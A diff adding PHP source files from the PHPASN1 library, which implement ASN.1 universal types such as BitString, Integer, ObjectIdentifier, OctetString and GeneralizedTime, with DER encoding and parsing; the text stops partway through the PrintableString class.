<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use Exception;
|
||||
use FG\ASN1\Exception\ParserException;
|
||||
use FG\ASN1\Parsable;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class BitString extends OctetString implements Parsable
|
||||
{
|
||||
private $nrOfUnusedBits;
|
||||
|
||||
/**
|
||||
* Creates a new ASN.1 BitString object.
|
||||
*
|
||||
* @param string|int $value Either the hexadecimal value as a string (spaces are allowed - leading 0x is optional) or a numeric value
|
||||
* @param int $nrOfUnusedBits the number of unused bits in the last octet [optional].
|
||||
*
|
||||
* @throws Exception if the second parameter is no positive numeric value
|
||||
*/
|
||||
public function __construct($value, $nrOfUnusedBits = 0)
|
||||
{
|
||||
parent::__construct($value);
|
||||
|
||||
if (!is_numeric($nrOfUnusedBits) || $nrOfUnusedBits < 0) {
|
||||
throw new Exception('BitString: second parameter needs to be a positive number (or zero)!');
|
||||
}
|
||||
|
||||
$this->nrOfUnusedBits = $nrOfUnusedBits;
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::BITSTRING;
|
||||
}
|
||||
|
||||
protected function calculateContentLength()
|
||||
{
|
||||
// add one to the length for the first octet which encodes the number of unused bits in the last octet
|
||||
return parent::calculateContentLength() + 1;
|
||||
}
|
||||
|
||||
protected function getEncodedValue()
|
||||
{
|
||||
// the first octet determines the number of unused bits
|
||||
$nrOfUnusedBitsOctet = chr($this->nrOfUnusedBits);
|
||||
$actualContent = parent::getEncodedValue();
|
||||
|
||||
return $nrOfUnusedBitsOctet.$actualContent;
|
||||
}
|
||||
|
||||
public function getNumberOfUnusedBits()
|
||||
{
|
||||
return $this->nrOfUnusedBits;
|
||||
}
|
||||
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
self::parseIdentifier($binaryData[$offsetIndex], Identifier::BITSTRING, $offsetIndex++);
|
||||
$contentLength = self::parseContentLength($binaryData, $offsetIndex, 2);
|
||||
|
||||
$nrOfUnusedBits = ord($binaryData[$offsetIndex]);
|
||||
$value = substr($binaryData, $offsetIndex + 1, $contentLength - 1);
|
||||
|
||||
if ($nrOfUnusedBits > 7 || // no less than 1 used, otherwise non-minimal
|
||||
($contentLength - 1) == 1 && $nrOfUnusedBits > 0 || // content length only 1, no
|
||||
(ord($value[strlen($value)-1])&((1<<$nrOfUnusedBits)-1)) != 0 // unused bits set
|
||||
) {
|
||||
throw new ParserException("Can not parse bit string with invalid padding", $offsetIndex);
|
||||
}
|
||||
|
||||
$offsetIndex += $contentLength;
|
||||
|
||||
$parsedObject = new self(bin2hex($value), $nrOfUnusedBits);
|
||||
$parsedObject->setContentLength($contentLength);
|
||||
|
||||
return $parsedObject;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\ASNObject;
|
||||
use FG\ASN1\Parsable;
|
||||
use FG\ASN1\Identifier;
|
||||
use FG\ASN1\Exception\ParserException;
|
||||
|
||||
class Boolean extends ASNObject implements Parsable
|
||||
{
|
||||
private $value;
|
||||
|
||||
/**
|
||||
* @param bool $value
|
||||
*/
|
||||
public function __construct($value)
|
||||
{
|
||||
$this->value = $value;
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::BOOLEAN;
|
||||
}
|
||||
|
||||
protected function calculateContentLength()
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
|
||||
protected function getEncodedValue()
|
||||
{
|
||||
if ($this->value == false) {
|
||||
return chr(0x00);
|
||||
} else {
|
||||
return chr(0xFF);
|
||||
}
|
||||
}
|
||||
|
||||
public function getContent()
|
||||
{
|
||||
if ($this->value == true) {
|
||||
return 'TRUE';
|
||||
} else {
|
||||
return 'FALSE';
|
||||
}
|
||||
}
|
||||
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
self::parseIdentifier($binaryData[$offsetIndex], Identifier::BOOLEAN, $offsetIndex++);
|
||||
$contentLength = self::parseContentLength($binaryData, $offsetIndex);
|
||||
|
||||
if ($contentLength != 1) {
|
||||
throw new ParserException("An ASN.1 Boolean should not have a length other than one. Extracted length was {$contentLength}", $offsetIndex);
|
||||
}
|
||||
|
||||
$value = ord($binaryData[$offsetIndex++]);
|
||||
$booleanValue = $value == 0xFF ? true : false;
|
||||
|
||||
$parsedObject = new self($booleanValue);
|
||||
$parsedObject->setContentLength($contentLength);
|
||||
|
||||
return $parsedObject;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\AbstractString;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class CharacterString extends AbstractString
|
||||
{
|
||||
public function __construct($string)
|
||||
{
|
||||
$this->value = $string;
|
||||
$this->allowAll();
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::CHARACTER_STRING;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class Enumerated extends Integer
|
||||
{
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::ENUMERATED;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\AbstractString;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class GeneralString extends AbstractString
|
||||
{
|
||||
/**
|
||||
* Creates a new ASN.1 GeneralString.
|
||||
* TODO The encodable characters of this type are not yet checked.
|
||||
*
|
||||
* @param string $string
|
||||
*/
|
||||
public function __construct($string)
|
||||
{
|
||||
$this->value = $string;
|
||||
$this->allowAll();
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::GENERAL_STRING;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\AbstractTime;
|
||||
use FG\ASN1\Parsable;
|
||||
use FG\ASN1\Identifier;
|
||||
use FG\ASN1\Exception\ParserException;
|
||||
|
||||
/**
|
||||
* This ASN.1 universal type contains date and time information according to ISO 8601.
|
||||
*
|
||||
* The type consists of values representing:
|
||||
* a) a calendar date, as defined in ISO 8601; and
|
||||
* b) a time of day, to any of the precisions defined in ISO 8601, except for the hours value 24 which shall not be used; and
|
||||
* c) the local time differential factor as defined in ISO 8601.
|
||||
*
|
||||
* Decoding of this type will accept the Basic Encoding Rules (BER)
|
||||
* The encoding will comply with the Distinguished Encoding Rules (DER).
|
||||
*/
|
||||
class GeneralizedTime extends AbstractTime implements Parsable
|
||||
{
|
||||
private $microseconds;
|
||||
|
||||
public function __construct($dateTime = null, $dateTimeZone = 'UTC')
|
||||
{
|
||||
parent::__construct($dateTime, $dateTimeZone);
|
||||
$this->microseconds = $this->value->format('u');
|
||||
if ($this->containsFractionalSecondsElement()) {
|
||||
// DER requires us to remove trailing zeros
|
||||
$this->microseconds = preg_replace('/([1-9]+)0+$/', '$1', $this->microseconds);
|
||||
}
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::GENERALIZED_TIME;
|
||||
}
|
||||
|
||||
protected function calculateContentLength()
|
||||
{
|
||||
$contentSize = 15; // YYYYMMDDHHmmSSZ
|
||||
|
||||
if ($this->containsFractionalSecondsElement()) {
|
||||
$contentSize += 1 + strlen($this->microseconds);
|
||||
}
|
||||
|
||||
return $contentSize;
|
||||
}
|
||||
|
||||
public function containsFractionalSecondsElement()
|
||||
{
|
||||
return intval($this->microseconds) > 0;
|
||||
}
|
||||
|
||||
protected function getEncodedValue()
|
||||
{
|
||||
$encodedContent = $this->value->format('YmdHis');
|
||||
if ($this->containsFractionalSecondsElement()) {
|
||||
$encodedContent .= ".{$this->microseconds}";
|
||||
}
|
||||
|
||||
return $encodedContent.'Z';
|
||||
}
|
||||
|
||||
public function __toString()
|
||||
{
|
||||
if ($this->containsFractionalSecondsElement()) {
|
||||
return $this->value->format("Y-m-d\tH:i:s.uP");
|
||||
} else {
|
||||
return $this->value->format("Y-m-d\tH:i:sP");
|
||||
}
|
||||
}
|
||||
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
self::parseIdentifier($binaryData[$offsetIndex], Identifier::GENERALIZED_TIME, $offsetIndex++);
|
||||
$lengthOfMinimumTimeString = 14; // YYYYMMDDHHmmSS
|
||||
$contentLength = self::parseContentLength($binaryData, $offsetIndex, $lengthOfMinimumTimeString);
|
||||
$maximumBytesToRead = $contentLength;
|
||||
|
||||
$format = 'YmdGis';
|
||||
$content = substr($binaryData, $offsetIndex, $contentLength);
|
||||
$dateTimeString = substr($content, 0, $lengthOfMinimumTimeString);
|
||||
$offsetIndex += $lengthOfMinimumTimeString;
|
||||
$maximumBytesToRead -= $lengthOfMinimumTimeString;
|
||||
|
||||
if ($contentLength == $lengthOfMinimumTimeString) {
|
||||
$localTimeZone = new \DateTimeZone(date_default_timezone_get());
|
||||
$dateTime = \DateTime::createFromFormat($format, $dateTimeString, $localTimeZone);
|
||||
} else {
|
||||
if ($binaryData[$offsetIndex] == '.') {
|
||||
$maximumBytesToRead--; // account for the '.'
|
||||
$nrOfFractionalSecondElements = 1; // account for the '.'
|
||||
|
||||
while ($maximumBytesToRead > 0
|
||||
&& $binaryData[$offsetIndex + $nrOfFractionalSecondElements] != '+'
|
||||
&& $binaryData[$offsetIndex + $nrOfFractionalSecondElements] != '-'
|
||||
&& $binaryData[$offsetIndex + $nrOfFractionalSecondElements] != 'Z') {
|
||||
$nrOfFractionalSecondElements++;
|
||||
$maximumBytesToRead--;
|
||||
}
|
||||
|
||||
$dateTimeString .= substr($binaryData, $offsetIndex, $nrOfFractionalSecondElements);
|
||||
$offsetIndex += $nrOfFractionalSecondElements;
|
||||
$format .= '.u';
|
||||
}
|
||||
|
||||
$dateTime = \DateTime::createFromFormat($format, $dateTimeString, new \DateTimeZone('UTC'));
|
||||
|
||||
if ($maximumBytesToRead > 0) {
|
||||
if ($binaryData[$offsetIndex] == '+'
|
||||
|| $binaryData[$offsetIndex] == '-') {
|
||||
$dateTime = static::extractTimeZoneData($binaryData, $offsetIndex, $dateTime);
|
||||
} elseif ($binaryData[$offsetIndex++] != 'Z') {
|
||||
throw new ParserException('Invalid ISO 8601 Time String', $offsetIndex);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$parsedObject = new self($dateTime);
|
||||
$parsedObject->setContentLength($contentLength);
|
||||
|
||||
return $parsedObject;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\AbstractString;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class GraphicString extends AbstractString
|
||||
{
|
||||
/**
|
||||
* Creates a new ASN.1 Graphic String.
|
||||
* TODO The encodable characters of this type are not yet checked.
|
||||
*
|
||||
* @param string $string
|
||||
*/
|
||||
public function __construct($string)
|
||||
{
|
||||
$this->value = $string;
|
||||
$this->allowAll();
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::GRAPHIC_STRING;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\AbstractString;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
/**
|
||||
* The International Alphabet No.5 (IA5) references the encoding of the ASCII characters.
|
||||
*
|
||||
* Each character in the data is encoded as 1 byte.
|
||||
*/
|
||||
class IA5String extends AbstractString
|
||||
{
|
||||
public function __construct($string)
|
||||
{
|
||||
parent::__construct($string);
|
||||
for ($i = 1; $i < 128; $i++) {
|
||||
$this->allowCharacter(chr($i));
|
||||
}
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::IA5_STRING;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,130 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use Exception;
|
||||
use FG\Utility\BigInteger;
|
||||
use FG\ASN1\Exception\ParserException;
|
||||
use FG\ASN1\ASNObject;
|
||||
use FG\ASN1\Parsable;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class Integer extends ASNObject implements Parsable
|
||||
{
|
||||
/** @var int */
|
||||
private $value;
|
||||
|
||||
/**
|
||||
* @param int $value
|
||||
*
|
||||
* @throws Exception if the value is not numeric
|
||||
*/
|
||||
public function __construct($value)
|
||||
{
|
||||
if (is_numeric($value) == false) {
|
||||
throw new Exception("Invalid VALUE [{$value}] for ASN1_INTEGER");
|
||||
}
|
||||
$this->value = $value;
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::INTEGER;
|
||||
}
|
||||
|
||||
public function getContent()
|
||||
{
|
||||
return $this->value;
|
||||
}
|
||||
|
||||
protected function calculateContentLength()
|
||||
{
|
||||
return strlen($this->getEncodedValue());
|
||||
}
|
||||
|
||||
protected function getEncodedValue()
|
||||
{
|
||||
$value = BigInteger::create($this->value, 10);
|
||||
$negative = $value->compare(0) < 0;
|
||||
if ($negative) {
|
||||
$value = $value->absoluteValue();
|
||||
$limit = 0x80;
|
||||
} else {
|
||||
$limit = 0x7f;
|
||||
}
|
||||
|
||||
$mod = 0xff+1;
|
||||
$values = [];
|
||||
while($value->compare($limit) > 0) {
|
||||
$values[] = $value->modulus($mod)->toInteger();
|
||||
$value = $value->shiftRight(8);
|
||||
}
|
||||
|
||||
$values[] = $value->modulus($mod)->toInteger();
|
||||
$numValues = count($values);
|
||||
|
||||
if ($negative) {
|
||||
for ($i = 0; $i < $numValues; $i++) {
|
||||
$values[$i] = 0xff - $values[$i];
|
||||
}
|
||||
for ($i = 0; $i < $numValues; $i++) {
|
||||
$values[$i] += 1;
|
||||
if ($values[$i] <= 0xff) {
|
||||
break;
|
||||
}
|
||||
assert($i != $numValues - 1);
|
||||
$values[$i] = 0;
|
||||
}
|
||||
if ($values[$numValues - 1] == 0x7f) {
|
||||
$values[] = 0xff;
|
||||
}
|
||||
}
|
||||
$values = array_reverse($values);
|
||||
$r = pack("C*", ...$values);
|
||||
return $r;
|
||||
}
|
||||
|
||||
private static function ensureMinimalEncoding($binaryData, $offsetIndex)
|
||||
{
|
||||
// All the first nine bits cannot equal 0 or 1, which would
|
||||
// be non-minimal encoding for positive and negative integers respectively
|
||||
if ((ord($binaryData[$offsetIndex]) == 0x00 && (ord($binaryData[$offsetIndex+1]) & 0x80) == 0) ||
|
||||
(ord($binaryData[$offsetIndex]) == 0xff && (ord($binaryData[$offsetIndex+1]) & 0x80) == 0x80)) {
|
||||
throw new ParserException("Integer not minimally encoded", $offsetIndex);
|
||||
}
|
||||
}
|
||||
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
$parsedObject = new static(0);
|
||||
self::parseIdentifier($binaryData[$offsetIndex], $parsedObject->getType(), $offsetIndex++);
|
||||
$contentLength = self::parseContentLength($binaryData, $offsetIndex, 1);
|
||||
|
||||
if ($contentLength > 1) {
|
||||
self::ensureMinimalEncoding($binaryData, $offsetIndex);
|
||||
}
|
||||
$isNegative = (ord($binaryData[$offsetIndex]) & 0x80) != 0x00;
|
||||
$number = BigInteger::create(ord($binaryData[$offsetIndex++]) & 0x7F);
|
||||
|
||||
for ($i = 0; $i < $contentLength - 1; $i++) {
|
||||
$number = $number->multiply(0x100)->add(ord($binaryData[$offsetIndex++]));
|
||||
}
|
||||
|
||||
if ($isNegative) {
|
||||
$number = $number->subtract(BigInteger::create(2)->toPower(8 * $contentLength - 1));
|
||||
}
|
||||
|
||||
$parsedObject = new static((string)$number);
|
||||
$parsedObject->setContentLength($contentLength);
|
||||
|
||||
return $parsedObject;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\ASNObject;
|
||||
use FG\ASN1\Parsable;
|
||||
use FG\ASN1\Identifier;
|
||||
use FG\ASN1\Exception\ParserException;
|
||||
|
||||
class NullObject extends ASNObject implements Parsable
|
||||
{
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::NULL;
|
||||
}
|
||||
|
||||
protected function calculateContentLength()
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
protected function getEncodedValue()
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
public function getContent()
|
||||
{
|
||||
return 'NULL';
|
||||
}
|
||||
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
self::parseIdentifier($binaryData[$offsetIndex], Identifier::NULL, $offsetIndex++);
|
||||
$contentLength = self::parseContentLength($binaryData, $offsetIndex);
|
||||
|
||||
if ($contentLength != 0) {
|
||||
throw new ParserException("An ASN.1 Null should not have a length other than zero. Extracted length was {$contentLength}", $offsetIndex);
|
||||
}
|
||||
|
||||
$parsedObject = new self();
|
||||
$parsedObject->setContentLength(0);
|
||||
|
||||
return $parsedObject;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\AbstractString;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class NumericString extends AbstractString
|
||||
{
|
||||
/**
|
||||
* Creates a new ASN.1 NumericString.
|
||||
*
|
||||
* The following characters are permitted:
|
||||
* Digits 0,1, ... 9
|
||||
* SPACE (space)
|
||||
*
|
||||
* @param string $string
|
||||
*/
|
||||
public function __construct($string)
|
||||
{
|
||||
$this->value = $string;
|
||||
$this->allowNumbers();
|
||||
$this->allowSpaces();
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::NUMERIC_STRING;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class ObjectDescriptor extends GraphicString
|
||||
{
|
||||
public function __construct($objectDescription)
|
||||
{
|
||||
parent::__construct($objectDescription);
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::OBJECT_DESCRIPTOR;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,138 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use Exception;
|
||||
use FG\ASN1\Base128;
|
||||
use FG\ASN1\OID;
|
||||
use FG\ASN1\ASNObject;
|
||||
use FG\ASN1\Parsable;
|
||||
use FG\ASN1\Identifier;
|
||||
use FG\ASN1\Exception\ParserException;
|
||||
|
||||
class ObjectIdentifier extends ASNObject implements Parsable
|
||||
{
|
||||
protected $subIdentifiers;
|
||||
protected $value;
|
||||
|
||||
public function __construct($value)
|
||||
{
|
||||
$this->subIdentifiers = explode('.', $value);
|
||||
$nrOfSubIdentifiers = count($this->subIdentifiers);
|
||||
|
||||
for ($i = 0; $i < $nrOfSubIdentifiers; $i++) {
|
||||
if (is_numeric($this->subIdentifiers[$i])) {
|
||||
// enforce the integer type
|
||||
$this->subIdentifiers[$i] = intval($this->subIdentifiers[$i]);
|
||||
} else {
|
||||
throw new Exception("[{$value}] is no valid object identifier (sub identifier ".($i + 1).' is not numeric)!');
|
||||
}
|
||||
}
|
||||
|
||||
// Merge the first to arcs of the OID registration tree (per ASN definition!)
|
||||
if ($nrOfSubIdentifiers >= 2) {
|
||||
$this->subIdentifiers[1] = ($this->subIdentifiers[0] * 40) + $this->subIdentifiers[1];
|
||||
unset($this->subIdentifiers[0]);
|
||||
}
|
||||
|
||||
$this->value = $value;
|
||||
}
|
||||
|
||||
public function getContent()
|
||||
{
|
||||
return $this->value;
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::OBJECT_IDENTIFIER;
|
||||
}
|
||||
|
||||
protected function calculateContentLength()
|
||||
{
|
||||
$length = 0;
|
||||
foreach ($this->subIdentifiers as $subIdentifier) {
|
||||
do {
|
||||
$subIdentifier = $subIdentifier >> 7;
|
||||
$length++;
|
||||
} while ($subIdentifier > 0);
|
||||
}
|
||||
|
||||
return $length;
|
||||
}
|
||||
|
||||
protected function getEncodedValue()
|
||||
{
|
||||
$encodedValue = '';
|
||||
foreach ($this->subIdentifiers as $subIdentifier) {
|
||||
$encodedValue .= Base128::encode($subIdentifier);
|
||||
}
|
||||
|
||||
return $encodedValue;
|
||||
}
|
||||
|
||||
public function __toString()
|
||||
{
|
||||
return OID::getName($this->value);
|
||||
}
|
||||
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
self::parseIdentifier($binaryData[$offsetIndex], Identifier::OBJECT_IDENTIFIER, $offsetIndex++);
|
||||
$contentLength = self::parseContentLength($binaryData, $offsetIndex, 1);
|
||||
|
||||
$firstOctet = ord($binaryData[$offsetIndex++]);
|
||||
$oidString = floor($firstOctet / 40).'.'.($firstOctet % 40);
|
||||
$oidString .= '.'.self::parseOid($binaryData, $offsetIndex, $contentLength - 1);
|
||||
|
||||
$parsedObject = new self($oidString);
|
||||
$parsedObject->setContentLength($contentLength);
|
||||
|
||||
return $parsedObject;
|
||||
}
|
||||
|
||||
/**
|
||||
* Parses an object identifier except for the first octet, which is parsed
|
||||
* differently. This way relative object identifiers can also be parsed
|
||||
* using this.
|
||||
*
|
||||
* @param $binaryData
|
||||
* @param $offsetIndex
|
||||
* @param $octetsToRead
|
||||
*
|
||||
* @throws ParserException
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
protected static function parseOid(&$binaryData, &$offsetIndex, $octetsToRead)
|
||||
{
|
||||
$oid = '';
|
||||
|
||||
while ($octetsToRead > 0) {
|
||||
$octets = '';
|
||||
|
||||
do {
|
||||
if (0 === $octetsToRead) {
|
||||
throw new ParserException('Malformed ASN.1 Object Identifier', $offsetIndex - 1);
|
||||
}
|
||||
|
||||
$octetsToRead--;
|
||||
$octet = $binaryData[$offsetIndex++];
|
||||
$octets .= $octet;
|
||||
} while (ord($octet) & 0x80);
|
||||
|
||||
$oid .= sprintf('%d.', Base128::decode($octets));
|
||||
}
|
||||
|
||||
// Remove trailing '.'
|
||||
return substr($oid, 0, -1) ?: '';
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use Exception;
|
||||
use FG\ASN1\ASNObject;
|
||||
use FG\ASN1\Parsable;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class OctetString extends ASNObject implements Parsable
|
||||
{
|
||||
protected $value;
|
||||
|
||||
public function __construct($value)
|
||||
{
|
||||
if (is_string($value)) {
|
||||
// remove gaps between hex digits
|
||||
$value = preg_replace('/\s|0x/', '', $value);
|
||||
} elseif (is_numeric($value)) {
|
||||
$value = dechex($value);
|
||||
} elseif ($value === null) {
|
||||
return;
|
||||
} else {
|
||||
throw new Exception('OctetString: unrecognized input type!');
|
||||
}
|
||||
|
||||
if (strlen($value) % 2 != 0) {
|
||||
// transform values like 1F2 to 01F2
|
||||
$value = '0'.$value;
|
||||
}
|
||||
|
||||
$this->value = $value;
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::OCTETSTRING;
|
||||
}
|
||||
|
||||
protected function calculateContentLength()
|
||||
{
|
||||
return strlen($this->value) / 2;
|
||||
}
|
||||
|
||||
protected function getEncodedValue()
|
||||
{
|
||||
$value = $this->value;
|
||||
$result = '';
|
||||
|
||||
//Actual content
|
||||
while (strlen($value) >= 2) {
|
||||
// get the hex value byte by byte from the string and and add it to binary result
|
||||
$result .= chr(hexdec(substr($value, 0, 2)));
|
||||
$value = substr($value, 2);
|
||||
}
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
public function getContent()
|
||||
{
|
||||
return strtoupper($this->value);
|
||||
}
|
||||
|
||||
public function getBinaryContent()
|
||||
{
|
||||
return $this->getEncodedValue();
|
||||
}
|
||||
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
self::parseIdentifier($binaryData[$offsetIndex], Identifier::OCTETSTRING, $offsetIndex++);
|
||||
$contentLength = self::parseContentLength($binaryData, $offsetIndex);
|
||||
|
||||
$value = substr($binaryData, $offsetIndex, $contentLength);
|
||||
$offsetIndex += $contentLength;
|
||||
|
||||
$parsedObject = new self(bin2hex($value));
|
||||
$parsedObject->setContentLength($contentLength);
|
||||
|
||||
return $parsedObject;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\AbstractString;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class PrintableString extends AbstractString
|
||||
{
|
||||
/**
|
||||
* Creates a new ASN.1 PrintableString.
|
||||
*
|
||||
* The ITU-T X.680 Table 8 permits the following characters:
|
||||
* Latin capital letters A,B, ... Z
|
||||
* Latin small letters a,b, ... z
|
||||
* Digits 0,1, ... 9
|
||||
* SPACE (space)
|
||||
* APOSTROPHE '
|
||||
* LEFT PARENTHESIS (
|
||||
* RIGHT PARENTHESIS )
|
||||
* PLUS SIGN +
|
||||
* COMMA ,
|
||||
* HYPHEN-MINUS -
|
||||
* FULL STOP .
|
||||
* SOLIDUS /
|
||||
* COLON :
|
||||
* EQUALS SIGN =
|
||||
* QUESTION MARK ?
|
||||
*
|
||||
